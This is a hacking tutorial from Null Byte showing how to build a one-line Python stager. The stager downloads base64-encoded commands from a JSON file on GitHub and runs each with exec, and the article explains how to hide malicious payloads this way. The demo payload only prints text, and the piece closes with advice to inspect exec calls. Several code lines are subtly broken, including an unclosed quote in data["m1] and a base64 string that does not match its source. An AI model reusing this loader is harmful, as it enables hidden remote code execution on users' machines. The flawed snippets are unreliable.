How to Execute Hidden Python Commands in a One-Line Stager « Null Byte :: WonderHowTo

A stager is a small piece of software that's typically used by malware to hide what's happening in the early stages of infection and to download a larger payload later.We're going to explore how it works by creating a single line that downloads and runs potentially infinite lines of Python. An attacker could use this to hide a really suspicious, damaging payload in a way that a person who's just skimming through a new security tool might miss.The way we're going to unpack this is by base-encoding our different commands in Base64 and then uploading it to a JSON object so we can pull it down, decode them, and run them one by one — all while keeping things within a single line of Python.Install or Update Python 3To follow along, you'll need Python 3 installed on your computer. Not sure if you have it? Typepython3 --versioninto a terminal window to find out.~$ python3 --version

Python 3.7.6If you don't have the latest version of Python 3, do asudo apt updateandsudo apt install python3in a terminal window.~$ sudo apt update

[sudo] password for kali:
Hit:1 http://kali.download/kali kali-rolling InRelease
Reading package lists... Done
Building dependency tree
Reading state information... Done
1015 packages can be upgraded. Run 'apt list --upgradable' to see them.

~$ sudo apt install python3

Reading package lists... Done
Building dependency tree
Reading state information... Done
The following packages were automatically installed and are no longer required:
  dkms libgfapi0 libgfrpc0 libgfxdr0 libglusterfs0 libpython3.7-dev linux-headers-amd64 python3.7-dev
Use 'sudo apt autoremove' to remove them.
The following additional packages will be installed:
...
Processing triggers for desktop-file-utils (0.24-1) ...
Processing triggers for mime-support (3.64) ...
Processing triggers for libc-bin (2.29-9) ...
Processing triggers for systemd (244-3) ...
Processing triggers for man-db (2.9.0-2) ...
Processing triggers for kali-menu (2020.1.7) ...
Processing triggers for initramfs-tools (0.135+kali1) ...
update-initramfs: Generating /boot/initrd.img-5.4.0-kali3-amd64Install PyCharm IDE (Optional)To build our one-liner, we're going to be using PyCharm, a Python IDE (integrated development environment). You can use something else, but if you want PyCharm, you can pdownload and install it from its website. The free community edition is good enough for what we need, and it works on Windows, macOS, and Linux.Working Through the AttackTake a look at the one-liner code below, which tries to hide what it's doing. It's a good model for understanding the way that a basic stager might work. It looks pretty basic at first glance since all it seems like it's doing is requesting some data and executing what looks like a Base64-encoded string.import json; import requests; import base64; data = (requests.get("https://github.com/skickar/Research/blob/master/twitter1.json")).json(); exec(base64.b64decode(data["m1]).decode('utf-8'))If you know anything about programming, that code is pretty alarming because you have no idea what's in the string, and you have no idea what exactly it's going to do. It could be obfuscated even further so that the only thing you really see is just the Base64 string. You could hide a really long string of commands behind a single exec function to conceal what's actually going on.What's the point of all this? What's the worst that can happen if you run the code?Let's take a payload like the one below and run it in PyCharm.print("The operaton was a success")
print("If you see this multi-line works")
print("Now just riding the train")You can see it's just a couple print statements that do in fact work.The operaton was a success
If you see this multi-line works
Now just riding the trainNow, let's go back to that one-liner and look at the raw form of the linked URL for the JSON file in a web browser to see what it looks like.https://raw.githubusercontent.com/skickar/Research/master/twitter1.json

{
    "m1":"Zm9yIGkgaW4gcmFuZ2UgKDIsKGxlbihkYXRhKSArIDEpKTogZXhlYyhiYXNlNjQuYjY0ZGVjb2RlKGRhdGFbJ217fScuZm9ybWF0KGkpXSkuZGVjb2RlKCd1dGYtOCcpKQo=",
    "m2":"cHJpbnQoIllvdSBzaG91bGQgTkVWRVIganVzdCBsZXQgc29tZSByYW5kb20gUHl0aG9uIHByb2dyYW0gRXhlYyBjb2RlIG9uIHlvdXIgc3lzdGVtIT8hPyEiKQpwcmludCgiQXJlIHlvdSBmdWNraW5nIGNyYXp5Pz8/IikKCg==",
    "m3":"cHJpbnQoIkJ1dCB3aGlsZSB5b3UncmUgaGVyZSwgaG93IGRvZXMgdGhpcyBzY3JpcHQgd29yaz8gV2VsbCwgaXQncyBzdHVwaWQsIGFuZCBncmVhdCIpCnByaW50KCJXaGF0IGl0IGRvZXMgaXMgcmVxdWVzdCBzb21lIEpTT04gZGF0YSBmcm9tIEdpdGh1Yiwgd2hpY2ggaXMgbG9hZGVkIHdpdGggYmFzZTQ2IHN0cmluZ3MiKQpwcmludCgiVGhpcyBjb2RlIHRha2VzIHRoYXQgSlNPTiBvYmplY3QgYW5kIGRlY29kZXMgdGhlIGJhc2U2NCBzdHJpbmdzLCB3aGljaCBhcmUgYWN0dWFsbHkgUHl0aG9uIGNvbW1hbmRzIikKcHJpbnQoIlRoZW4sIGl0IGJsaW5kbHkgZXhlY3V0ZXMgdGhlbSBvbiB5b3VyIHNvZnQsIHZ1bG5lcmFibGUgc3lzdGVtLiBJdCBkb2VzIHRoaXMgZm9yIGhvd2V2ZXIgbWFueSBjb21tYW5kcyB5b3Ugd2FudC4iKQpwcmludCgiRm9ydHVuYXRlbHksIHRoaXMgcGF5bG9hZCBpcyBqdXN0IHByaW50IHN0YXRlbWVudHMsIGJ1dCBiZWNhdXNlIHRoZSBKU09OIGtleXMgYXJlIG9yZ2FuaXplZCB0byBhZGQgYXMgbWFueSBhcyB5b3Ugd2FudCwgaXQncyBlYXN5IHRvIGFkZCBjb21tYW5kcy4iKQo="
}If we view the JSON input, we can see that this is what the actual code looks like:{
    "m1":"Zm9yIGkgaW4gcmFuZ2UgKDIsKGxlbihkYXRhKSArIDEpKTogZXhlYyhiYXNlNjQuYjY0ZGVjb2RlKGRhdGFbJ217fScuZm9ybWF0KGkpXSkuZGVjb2RlKCd1dGYtOCcpKQo=","m2":"cHJpbnQoIllvdSBzaG91bGQgTkVWRVIganVzdCBsZXQgc29tZSByYW5kb20gUHl0aG9uIHByb2dyYW0gRXhlYyBjb2RlIG9uIHlvdXIgc3lzdGVtIT8hPyEiKQpwcmludCgiQXJlIHlvdSBmdWNraW5nIGNyYXp5Pz8/IikKCg==","m3":"cHJpbnQoIkJ1dCB3aGlsZSB5b3UncmUgaGVyZSwgaG93IGRvZXMgdGhpcyBzY3JpcHQgd29yaz8gV2VsbCwgaXQncyBzdHVwaWQsIGFuZCBncmVhdCIpCnByaW50KCJXaGF0IGl0IGRvZXMgaXMgcmVxdWVzdCBzb21lIEpTT04gZGF0YSBmcm9tIEdpdGh1Yiwgd2hpY2ggaXMgbG9hZGVkIHdpdGggYmFzZTQ2IHN0cmluZ3MiKQpwcmludCgiVGhpcyBjb2RlIHRha2VzIHRoYXQgSlNPTiBvYmplY3QgYW5kIGRlY29kZXMgdGhlIGJhc2U2NCBzdHJpbmdzLCB3aGljaCBhcmUgYWN0dWFsbHkgUHl0aG9uIGNvbW1hbmRzIikKcHJpbnQoIlRoZW4sIGl0IGJsaW5kbHkgZXhlY3V0ZXMgdGhlbSBvbiB5b3VyIHNvZnQsIHZ1bG5lcmFibGUgc3lzdGVtLiBJdCBkb2VzIHRoaXMgZm9yIGhvd2V2ZXIgbWFueSBjb21tYW5kcyB5b3Ugd2FudC4iKQpwcmludCgiRm9ydHVuYXRlbHksIHRoaXMgcGF5bG9hZCBpcyBqdXN0IHByaW50IHN0YXRlbWVudHMsIGJ1dCBiZWNhdXNlIHRoZSBKU09OIGtleXMgYXJlIG9yZ2FuaXplZCB0byBhZGQgYXMgbWFueSBhcyB5b3Ugd2FudCwgaXQncyBlYXN5IHRvIGFkZCBjb21tYW5kcy4iKQo="
}It's all pretty confusing and doesn't really mean much to the average person if they see it. It's not a bunch of obvious commands, and they would have to decode each one to really see what was happening.So if there were a bunch of innocuous commands in the JSON plus a couple of malicious ones, or if you were able to call the commands in a different order so you could basically build a malicious structure, then the game starts to change. That's because we don't know what order they are being called in. And you could do all sorts of other things to obfuscate the way the code is working.These are all levels of deception that a stager might use to hide what its true intentions are. You don't want to just drop your best malware in right away and then have all your exploits out there so that if someone catches it, they know exactly how to defend against it.Now, how do we get these Python commands to actually be the strings, and how do we get it to run correctly when we execute it?If we take our one line of code from the stager and run it in Python, then we can see what happens. As you can see below, we hit a whole bunch of print statements and that's not really what we were expecting because it was pretty short. So there's a lot of text here that's coming out of commands, and we actually don't know what's going on besides these print statements. Aside from those, we could have a situation where other things are executing on the computer and all we see is something deceptive that's trying to trick us into thinking that everything's fine.~$ python3

Python 3.8.2 (default, Apr  1 2020, 15:52:55)
[GCC 9.3.0] on linux
Type "help", "copyright", "credits" or "license" for more information.

>>> import json; import requests; import base64; data = (requests.get("https://github.com/skickar/Research/blob/master/twitter1.json")).json(); exec(base64.b64decode(data["m1]).decode('utf-8'))

You should NEVER just let some random Python program Exec code on your system!?!?!
Are you fucking crazy???
But while you're here, how does this script work? Well, it's stupid, and great
What it does is request some JSON data from Github, which is loaded with base64 strings
This code takes that JSON object and decodes the base64 strings, which are actually Python commands
Then, it blindly executes them on your soft, vulnerable system, but beceuase the JSON keys are organized to add as many as you want, it's easy to add commands.

>>> quit()Now, let's take a look at the Python script we ran in PyCharm, and we can see the print statements that will run.print("The operaton was a success")
print("If you see this multi-line works")
print("Now just riding the train")When run, we should get this:The operaton was a success
If you see this multi-line works
Now just riding the trainIf we want to encode it so that we can upload it in the JSON object, what we can do is runbase64with the filename we used to save it on our system (yours can be something else). That will encode the contents of the text file.~$ base64 yourpythonfilehere.py

cMJpbnQoIlRoZSBvYXRpb24gd2FzIGEgc3VjY2VzcyIpCnByaW50KCJJZiB5b3Ugc2VlIHRoaXMsIG11bHRpLWxpbmUgd29ya3MiKQpwcmludCgiTm93IGp1c3QgcmlkaW5nIHRoZSB0cmFpbiIpCg==If I were to exec it after decoding it, it'll go ahead and not only preserve the code that's there but line breaks too, so I can run multi-line code within one base64 object. That's one advantage because you can have one long object that looks like it's a single thing when in fact it might be a bunch of different lines of code all crammed into one.This is great if we want to make it hard to analyze. In general, our process is going to be writing different payloads, converting them into a Base64 string, and dropping them into a data structure as we see here:{
    "m1":"Zm9yIGkgaW4gcmFuZ2UgKDIsKGxlbihkYXRhKSArIDEpKTogZXhlYyhiYXNlNjQuYjY0ZGVjb2RlKGRhdGFbJ217fScuZm9ybWF0KGkpXSkuZGVjb2RlKCd1dGYtOCcpKQo=","m2":"cHJpbnQoIllvdSBzaG91bGQgTkVWRVIganVzdCBsZXQgc29tZSByYW5kb20gUHl0aG9uIHByb2dyYW0gRXhlYyBjb2RlIG9uIHlvdXIgc3lzdGVtIT8hPyEiKQpwcmludCgiQXJlIHlvdSBmdWNraW5nIGNyYXp5Pz8/IikKCg==","m3":"cHJpbnQoIkJ1dCB3aGlsZSB5b3UncmUgaGVyZSwgaG93IGRvZXMgdGhpcyBzY3JpcHQgd29yaz8gV2VsbCwgaXQncyBzdHVwaWQsIGFuZCBncmVhdCIpCnByaW50KCJXaGF0IGl0IGRvZXMgaXMgcmVxdWVzdCBzb21lIEpTT04gZGF0YSBmcm9tIEdpdGh1Yiwgd2hpY2ggaXMgbG9hZGVkIHdpdGggYmFzZTQ2IHN0cmluZ3MiKQpwcmludCgiVGhpcyBjb2RlIHRha2VzIHRoYXQgSlNPTiBvYmplY3QgYW5kIGRlY29kZXMgdGhlIGJhc2U2NCBzdHJpbmdzLCB3aGljaCBhcmUgYWN0dWFsbHkgUHl0aG9uIGNvbW1hbmRzIikKcHJpbnQoIlRoZW4sIGl0IGJsaW5kbHkgZXhlY3V0ZXMgdGhlbSBvbiB5b3VyIHNvZnQsIHZ1bG5lcmFibGUgc3lzdGVtLiBJdCBkb2VzIHRoaXMgZm9yIGhvd2V2ZXIgbWFueSBjb21tYW5kcyB5b3Ugd2FudC4iKQpwcmludCgiRm9ydHVuYXRlbHksIHRoaXMgcGF5bG9hZCBpcyBqdXN0IHByaW50IHN0YXRlbWVudHMsIGJ1dCBiZWNhdXNlIHRoZSBKU09OIGtleXMgYXJlIG9yZ2FuaXplZCB0byBhZGQgYXMgbWFueSBhcyB5b3Ugd2FudCwgaXQncyBlYXN5IHRvIGFkZCBjb21tYW5kcy4iKQo="
}With each one of these messages, we have another different command that's being called.Let's go back to PyCharm to see what happens when we try to analyze the code. Instead of executing the sketchy thing, we're going to just print it by changing "exec" to "print" in the line.import json; import requests; import base64; data = (requests.get("https://github.com/skickar/Research/blob/master/twitter1.json")).json(); print(base64.b64decode(data["m1]).decode('utf-8'))Now, run it as a stager, and we can see the following:for i in range (2,(len(data) + 1)): exec(base64.b64decode(data[m{}'.format(i)]).decode('utf-8'))

Process finished with exit code 8What the code is doing is starting a loop. It starts at 2 and it runs all the way to the length of the data, so as many different messages that we put in our JSON object. It's designed to be flexible so that it actually makes sure that it includes every single message that is in the JSON object. We can make as many as we want and the code will find them and execute them one by one.Now, this .format is making it so that each time we go through the loop, we use the current variable "i," which starts at, in this case, 2, and then runs all the way to the end of the length of data, plus one. I did this because I didn't actually start the "m" at zero. I should have started at zero to make it easier. Still, for a rough draft, it's a pretty good way of explaining how you can iterate through a bunch of messages using a m.format, or some other format, to use the "i" of the loop to jump through each of your messages. To make that really clear, we have m1, m2, and m3, and these are all keys in our JSON object.The way that JSON works is that we have a key, then a colon, then a value. To access them, in Python anyway, we need to make sure that we're specifying first the key and then the value. We're specifying m1, which is going to be the key, and we're basically requesting the data inside of it as the value that we're substituting, so what we are doing is saying "hey, I want to put whatever part of the loop that's in m, to decode it and drop it right here, then execute it in this loop."That is a way that we can unpack our Python code and run a loop that jumps through all the messages we've uploaded. I just used m1 as an example, but any numeric sequence will work just fine.With this, we can go ahead and replace our "print" back to an "exec." Now, instead of seeing the first line of code, it's gone through and executed all the messages that we had in our JSON object.For a beginner, this would be a pretty crazy thing to miss because a simple line like this, or even a further obfuscated line, that just execs and decodes a Base64 string wouldn't really be something they would want to jump in and try to decode because they might not understand how serious it is.But for anyone with more experience coding than something that just looks like exec Base64 decode, and a long string, should give you a lot of alarm because, if that command is the rest of this, then you could be in a lot of trouble as it downloads and executes as many lines at once and does really whatever it wants on your systemInspect New Tools for Suspicious Lines of CodeIf you learn anything from this, it should be that you shouldn't just go ahead and download and run any new security tool without going through it first and paying specific attention to any lines of code that are executing things you don't understand.The exec function in Python is incredibly powerful and very dangerous to run if you don't understand what it's doing. So anytime you see it in a line of code, make sure you know what's happening because it could run in our case potentially infinite lines of code without you knowing what they're doing.Don't Miss:Use Beginner Python to Build a Brute-Force Tool for SHA-1 HashesWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover image by Retia/Null ByteRelatedHacking macOS:How to Create a Fake PDF Trojan with AppleScript, Part 1 (Creating the Stager)Hacking macOS:How to Create an Undetectable PayloadHow to Use PowerShell Empire:Generating Stagers for Post Exploitation of Windows HostsHacking macOS:How to Hide Payloads Inside Photo MetadataHow To:Use the Koadic Command & Control Remote Access Toolkit for Windows Post-ExploitationHow to Train Your Python:Part 15, Script Structure and ExecutionHow To:Use Microsoft.com Domains to Bypass Firewalls & Execute PayloadsHow to Use PowerShell Empire:Getting Started with Post-Exploitation of Windows HostsHacking macOS:How to Perform Privilege Escalation, Part 2 (Password Phishing)How To:Hack UnrealIRCd Using Python Socket ProgrammingHow To:Bypass Antivirus Software by Obfuscating Your Payloads with GraffitiHow To:Execute Remote Commands on a Disconnected VictimHow To:Use Meterpeter on OS XHacking macOS:How to Use One Python Command to Bypass Antivirus Software in 5 SecondsHow To:The Novice Guide to Teaching Yourself How to Program (Learning Resources Included)How To:Create Custom Commands in Kali LinuxHack Like a Pro:Python Scripting for the Aspiring Hacker, Part 1Hacking macOS:How to Install a Persistent Empire Backdoor on a MacBookHow To:Get Fastboot Flashable Factory Images for Any OnePlus PhoneHow To:An Introduction to IPythonHow To:Build an Evasive Shell in Python, Part 2: Building the ShellHow to Train Your Python:Part 19, Advanced File Input and OutputHow To:Reverse Shell Using PythonGoodnight Byte:Hack Our IRC Bot to Issue CommandsNews:Learning Python 3.x as I go (Last Updated 6/72012)How To:Code Your Own Twitter Client in Python Using OAuthHow To:Shorten URLs from the Command Line with PythonGoodnight Byte:Coding an IRC Bot in Python (For Beginners)How To:Enable Code Syntax Highlighting for Python in the Nano Text EditorCommunity Byte:Coding a Web-Based Password Cracker in PythonHow To:Make a Gmail Notifier in PythonHow To:Generate Word-Lists with Python for Dictionary AttacksGoodnight Byte:Coding a Web-Based Password Cracker in PythonHow To:Push and Pull Remote Files Securely Over SSH with PipesNews:Ball PythonsHow To:Create a Reverse Shell to Remotely Execute Root Commands Over Any Open Port Using NetCat or BASH